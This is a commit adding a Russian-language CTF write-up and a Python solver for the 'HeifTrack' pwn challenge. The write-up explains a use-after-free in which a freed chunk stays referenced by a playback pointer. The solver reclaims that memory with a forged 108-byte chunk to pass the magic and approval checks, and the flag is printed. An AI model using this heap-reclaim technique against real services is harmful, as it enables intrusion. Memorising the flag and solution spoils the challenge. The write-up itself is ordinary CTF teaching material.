Init. Commit

qualifiers/heiftrack-pwn-medium/WRITEUP.md

@@ -0,0 +1,47 @@
+<h1 align="center">HeifTrack</h1>
+
+<p align="center">
+  <img src="https://img.shields.io/badge/category-PWN-blueviolet" alt="PWN"/>
+  <img src="https://img.shields.io/badge/difficulty-medium-orange" alt="medium"/>
+</p>
+
+HeifTrack проверяет последовательности кадров с камер. Он загружает chunk, привязывает его к воспроизведению и сверяет таблицы. В ELF `heiftrack` обнаруживаем, что ошибочный chunk удаляется, но воспроизведение продолжает ссылаться на него.
+
+## Решение
+
+Chunk занимает 108 байт:
+
+```c
+struct chunk {
+    uint32_t magic;
+    uint32_t frames;
+    char label[32];
+    uint32_t approved;
+    char pad[64];
+};
+```
+
+Экспорт проверяет два поля по указателю `playback`: `magic == 0x48454946` и `approved == 0x54524143`. У обычного загруженного объекта `approved` равен нулю.
+
+Сначала выбираем `1) load chunk`, затем `2) bind track`. Теперь и `chunk0`, и `playback` указывают на один объект. В `3) validate tables` вводим несовпадающие значения `1`, `2`, `3`. Валидация делает `free(chunk0)` и обнуляет `chunk0`, но про `playback` забывает. Получаем **use-after-free**.
+
+Остаётся занять освободившуюся память своими данными. Пункт `4) add metadata item` выделяет блок того же размера, 108 байт. Готовим поддельный chunk:
+
+```python
+import struct
+
+payload = struct.pack("<II", 0x48454946, 9)
+payload += b"approved-track".ljust(32, b"\x00")
+payload += struct.pack("<I", 0x54524143)
+payload = payload.ljust(108, b"\x00")
+```
+
+Поле `approved` оказывается на смещении `40`, как и у настоящего объекта. Выбираем `4) add metadata item`, на запрос `metadata bytes:` передаём строку `108`, затем на `payload:` отправляем 108 байт payload без добавленного перевода строки. Аллокатор переиспользует освобождённый блок, поэтому висячий `playback` теперь указывает на поддельный объект.
+
+Выбираем `5) verify playback`. Обе проверки проходят, и сервис выводит флаг.
+
+[Солвер](solve/solve.py).
+
+## Флаг
+
+`caplag{conflicting_track_tables_kept_the_chunk_alive}`

qualifiers/heiftrack-pwn-medium/solve/solve.py

@@ -0,0 +1,60 @@
+#!/usr/bin/env python3
+import argparse
+import os
+import socket
+import struct
+import subprocess
+import sys
+
+class Tube:
+    def __init__(self, sock=None, proc=None):
+        self.sock = sock
+        self.proc = proc
+    def recv(self, n=4096):
+        if self.sock:
+            return self.sock.recv(n)
+        return os.read(self.proc.stdout.fileno(), n)
+    def send(self, data):
+        if self.sock:
+            self.sock.sendall(data)
+        else:
+            os.write(self.proc.stdin.fileno(), data)
+    def sendline(self, data):
+        self.send(data + b"\n")
+    def recvuntil(self, marker):
+        out = b""
+        while marker not in out:
+            chunk = self.recv(1)
+            if not chunk:
+                raise EOFError(out)
+            out += chunk
+        return out
+
+def symbol_value(binary, name):
+    out = subprocess.check_output(["readelf", "-sW", binary], text=True)
+    for line in out.splitlines():
+        fields = line.split()
+        if len(fields) >= 8 and fields[-1] == name:
+            return int(fields[1], 16)
+    raise RuntimeError(f"symbol not found: {name}")
+
+def connect(args):
+    if args.local:
+        env = os.environ.copy()
+        env["CTF_FLAG"] = args.flag
+        proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env)
+        return Tube(proc=proc)
+    return Tube(sock=socket.create_connection((args.host, args.port), timeout=5))
+
+def choose(io, value):
+    io.recvuntil(b">")
+    io.sendline(str(value).encode())
+
+CHUNK_MAGIC=0x48454946; CHUNK_OK=0x54524143
+def main():
+    p=argparse.ArgumentParser(); p.add_argument("--host",default="127.0.0.1"); p.add_argument("--port",type=int,default=31344); p.add_argument("--local",action="store_true"); p.add_argument("--binary",default="../public/heiftrack"); p.add_argument("--flag",default="caplag{conflicting_track_tables_kept_the_chunk_alive}"); args=p.parse_args()
+    io=connect(args); choose(io,1); choose(io,2); choose(io,3); io.sendline(b"1"); io.sendline(b"2"); io.sendline(b"3")
+    payload=struct.pack("<II",CHUNK_MAGIC,9)+b"approved-track".ljust(32,b"\x00")+struct.pack("<I",CHUNK_OK)+b"X"*64
+    choose(io,4); io.recvuntil(b"metadata bytes:"); io.sendline(str(len(payload)).encode()); io.recvuntil(b"payload:"); io.send(payload)
+    choose(io,5); data=io.recvuntil(b"}"); print(data[data.rfind(b"caplag{"):].decode())
+if __name__=="__main__": sys.exit(main())